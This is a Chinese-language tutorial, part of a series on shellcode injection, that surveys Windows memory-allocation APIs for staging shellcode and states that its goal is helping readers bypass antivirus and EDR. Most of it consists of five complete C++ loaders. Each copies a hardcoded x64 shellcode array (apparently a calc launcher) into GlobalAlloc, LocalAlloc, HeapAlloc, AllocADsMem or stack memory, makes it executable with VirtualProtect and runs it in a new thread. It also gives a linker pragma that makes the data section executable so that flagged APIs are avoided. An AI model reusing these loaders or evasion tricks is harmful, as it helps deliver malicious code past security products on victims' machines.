# 23-内存申请总结

从本篇到还有后面的两篇都是总结概况性的文章，旨在总结前面提及过的各种API的用法以及拓宽未介绍的思路和视野，这样就可以构造多条shellcode注入的执行链，帮助读者更好的绕过AV/EDR。

在shellcode的注入中，内存申请总是绕不过的话题，它是shellcode注入的三部曲的第一步，也是至关重要的一步。

**⚠注意**：

1. 在shellcode注入中一定要分清是注入本进程还是远程进程。
2. 这里并不讨论使用Nt或Zw类型的API，也不讨论系统调用。

## 一、VirutallAlloc

官方文档：[VirtualAlloc 函数 （memoryapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

`VirtualAlloc` 函数来是最常见的一个内存申请的API，它可以申请一块动态内存来存放我们的shellcode。

我们来回顾一下官方介绍的用法：**保留**、**提交**或**更改**调用进程的虚拟地址空间中页面区域的状态。 此函数分配的内存会自动初始化为零。

再看一下它的语法

```go
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

我在这里再次说明，`VirtualAlloc` 的第三个参数 `flAllocationType` 才是这个函数的精髓所在，这使得 `VirtualAlloc` 可以申请一块RWX的内存区域。

## 二、VirtualAllocEx

官方文档：

`VirtualAllocEx` 是另一个可以申请一块RWX的内存区域的API，不过它申请的对象是**远程进程**。

语法

```go
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

## 三、HeapCreate+HeapAlloc

1. [HeapCreate 函数 (heapapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/heapapi/nf-heapapi-heapcreate)
2. [heapAlloc 函数 (heapapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/heapapi/nf-heapapi-heapalloc)

`HeapCreate`：创建可由调用进程使用的专用堆对象

语法

```go
HANDLE HeapCreate(
  [in] DWORD  flOptions,
  [in] SIZE_T dwInitialSize,
  [in] SIZE_T dwMaximumSize
);
```

它的第一个参数 `flOptions` 可以设置为 `HEAP_CREATE_ENABLE_EXECUTE`，这是 `HeapCreate+HeapAlloc` 的关键所在，这意味着我们可以创建一块可以执行的堆对象。

`HeapAlloc`：从堆中分配内存块。 分配的内存不可移动。

语法

```go
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,
  [in] DWORD  dwFlags,
  [in] SIZE_T dwBytes
);
```

`HeapAlloc` 的第一个参数是要从中分配内存的堆的句柄，我们可以将 `HeapCreate` 创建的 `HEAP_CREATE_ENABLE_EXECUTE` 堆的句柄作为 `HeapAlloc` 的参数。

## 四、AllocADsMem

官方文档：[AllocADsMem 函数 (adshlp.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/adshlp/nf-adshlp-allocadsmem)

`AllocADsMem` ：分配指定大小的内存块。很朴实无华的一个API，它分配的内存的保护属性为可读可写不可执行，常与 `ReallocADsMem` 搭配使用

语法

```go
LPVOID AllocADsMem(
  [in] DWORD cb
);
```

## 五、GlobalAlloc

官方文档：[globalAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-globalalloc)

`GlobalAlloc`：从堆中分配指定的字节数，该堆是全局堆，意味着各个进程都能访问到，值得关注是该全局堆为可读可写不可执行的。语法

```go
DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  [in] UINT   uFlags,
  [in] SIZE_T dwBytes
);
```

## 六、LocalAlloc

官方文档：[localAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-localalloc)

`LocalAlloc`：从堆中分配指定的字节数，该堆是本地堆，意味着只有调用进程可以使用，该本地堆是可读可写不可执行的。语法

```go
DECLSPEC_ALLOCATOR HLOCAL LocalAlloc(
  [in] UINT   uFlags,
  [in] SIZE_T uBytes
);
```

## 七、CreateFileMapping+MapViewOfFile+MapViewOfFile2

官方文档：

1. [CreateFileMappingW 函数 （memoryapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-createfilemappingw)
2. [MapViewOfFile 函数 （memoryapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)
3. [MapViewOfFile2 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile2)

`CreateFileMapping`：创建文件映射对象。语法：

```go
HANDLE CreateFileMappingW(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCWSTR               lpName
);
```

它的第三个参数 `flProtect` 可以指定文件映射对象的页面保护属性，这个是关键所在，因为 `MapViewOfFile`、`MapViewOfFile2` 返回的内存是不能用 `VirtualProtect` 修改内存的保护属性

`MapViewOfFile`：将文件映射的视图映射到调用进程的地址空间，返回值为映射视图的起始地址。语法：

```go
LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);
```

`MapViewOfFile2`：将文件视图或页面文件支持的节映射到指定进程的地址空间中，返回值为映射视图的起始地址。语法

```go
PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,
  [in]           HANDLE  ProcessHandle,
  [in]           ULONG64 Offset,
  [in, optional] PVOID   BaseAddress,
  [in]           SIZE_T  ViewSize,
  [in]           ULONG   AllocationType,
  [in]           ULONG   PageProtection
);
```

**文件视图**其实就是进程的某一块与文件映射对象建立映射关系的**内存**

## 八、本地缓冲数组

```go
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>

int main(int argc, wchar_t* argv[])
{
	// 方法1：C/C++，直接定义栈数组（未初始化）
	unsigned char shellcode[1100];

	// 方法2：创建堆
	// C风格）
	unsigned char* heap1 = (unsigned char*)malloc(1100 * sizeof(unsigned char));
	free(heap1);

	// C++风格
	unsigned char* heap2 = new unsigned char[1100];
	delete[] heap2;
}
```

本地缓冲可能是栈上的某个内存也可能是堆中的某个内存，默认内存保护属性为可读可写不可执行。

## 九、VirtualProtect/VirtualProtectEx

`VirutallAlloc` 申请的内存是毋庸置疑可以修改的，且大多数网上的文章都会介绍 `VirutallAlloc+VirtualProtect` 的组合使用。在这里，介绍网上没有人介绍的，就是能不能尝试改变 `GlobalAlloc` 、 `LocalAlloc`、`HeapAlloc`、`AllocADsMem`、`本地缓冲数组` 的内存保护属性

网上也有人用下面这条编译指令直接赋予数据段可执行权限，避免 `VirtualAlloc` 等敏感API调用。具体怎么用这些这些方法还是看情况而言的

```
#pragma comment(linker, "/section:.data,RWE")
```

### 9.1 测试能否修改GlobalAlloc

```go
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <iostream>

int main() {
    unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 }; // shellcode数据

    // 分配全局内存
    HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, sizeof(shellcode));
    if (hGlob == NULL) {
        std::cout << "GlobalAlloc failed. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // 锁定内存以获取指针
    LPVOID lpCopy = GlobalLock(hGlob);
    if (lpCopy == NULL) {
        std::cout << "GlobalLock failed. Error: " << GetLastError() << std::endl;
        GlobalFree(hGlob);
        return 1;
    }

    // 复制shellcode到全局内存
    memcpy(lpCopy, shellcode, sizeof(shellcode));

    // 修改内存保护属性为可执行
    DWORD oldProtect;
    if (!VirtualProtect(lpCopy, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cout << "VirtualProtect failed. Error: " << GetLastError() << std::endl;
        GlobalUnlock(hGlob);
        GlobalFree(hGlob);
        return 1;
    }

    // 创建线程执行shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpCopy, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cout << "CreateThread failed. Error: " << GetLastError() << std::endl;
        GlobalUnlock(hGlob);
        GlobalFree(hGlob);
        return 1;
    }

    // 等待线程完成
    WaitForSingleObject(hThread, INFINITE);

    // 清理资源
    CloseHandle(hThread);
    GlobalUnlock(hGlob);
    GlobalFree(hGlob);
    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/13/19-58-38-4955e1d14a30327d16c04ab77fd4d38f-20250213195838-9aaa1d.png)

### 9.2 测试能否修改LocalAlloc

```go
#include <Windows.h>
#include <iostream>

int main()
{
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 分配本地可移动内存
    HLOCAL hMemory = LocalAlloc(LMEM_MOVEABLE, sizeof(shellcode));
    if (!hMemory) {
        std::cerr << "LocalAlloc failed: " << GetLastError() << std::endl;
        return 1;
    }

    // 锁定并写入shellcode
    LPVOID pMemory = LocalLock(hMemory);
    if (!pMemory) {
        std::cerr << "LocalLock failed: " << GetLastError() << std::endl;
        LocalFree(hMemory);
        return 1;
    }

    RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
  
    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(pMemory, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        LocalUnlock(hMemory);
        LocalFree(hMemory);
        return 1;
    }

    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // 清理资源
    LocalUnlock(hMemory);
    LocalFree(hMemory);
    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/13/20-30-29-08a5d46e7e6a3869b8b82d31a0271cb9-20250213203029-43b267.png)

### 9.3 测试能否修改HeapAlloc

```go
#include <Windows.h>
#include <iostream>

int main()
{
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 从堆中分配内存块
    LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, sizeof(shellcode));

    // 移动shellcode到堆空间中
    RtlMoveMemory(lpBuffer, shellcode, sizeof(shellcode));
  
    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(lpBuffer, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        return 1;
    }
    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // 清理资源
    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/13/20-38-10-369d5b475c4fc4d9bb6dda821c4ee167-20250213203810-cb8f8b.png)

### 9.4 测试是否能修改AllocADsMem

```go
#define WIN32_LEAN_AND_MEAN  // 减少无关头文件
#include <Windows.h>
#include <objidl.h>         // 必须在ADSI头文件之前
#include <activeds.h>       // ADSI主头文件
#include <adshlp.h>         // 次要ADSI帮助头文件
#include <iostream>
#pragma comment(lib, "activeds.lib")
int main()
{
    unsigned char shellcode[] = {
        0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
        0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
        0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
        0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
        0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
        0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
        0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
        0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
        0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
        0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 从堆中分配内存块
    LPVOID lpBuffer = AllocADsMem(sizeof(shellcode));

    // 移动shellcode到堆空间中
    RtlMoveMemory(lpBuffer, shellcode, sizeof(shellcode));
  
    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(lpBuffer, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        return 1;
    }
    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)lpBuffer, NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // 清理资源
    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/13/20-48-27-a96535d3d8d911bcf1ba01f128ef2d87-20250213204827-d46e3b.png)

### 9.5 测试是否能修改本地缓冲数组

```go
#include <stdio.h>
#include <iostream>
#include <Windows.h>
#include <vector>
int main() {
    std::vector<unsigned char>shellcode = {
    0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
    };

    // 修改内存保护属性
    DWORD dwOldProtect;
    if (!VirtualProtect(shellcode.data(), shellcode.size(), PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        std::cerr << "VirtualProtect failed: " << GetLastError() << std::endl;
        return 1;
    }

    // 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)shellcode.data(), NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "CreateThread failed: " << GetLastError() << std::endl;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);


    return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/13/20-59-55-dfc5eabb90565f1cb838dcb94b818fdc-20250213205955-aa3382.png)
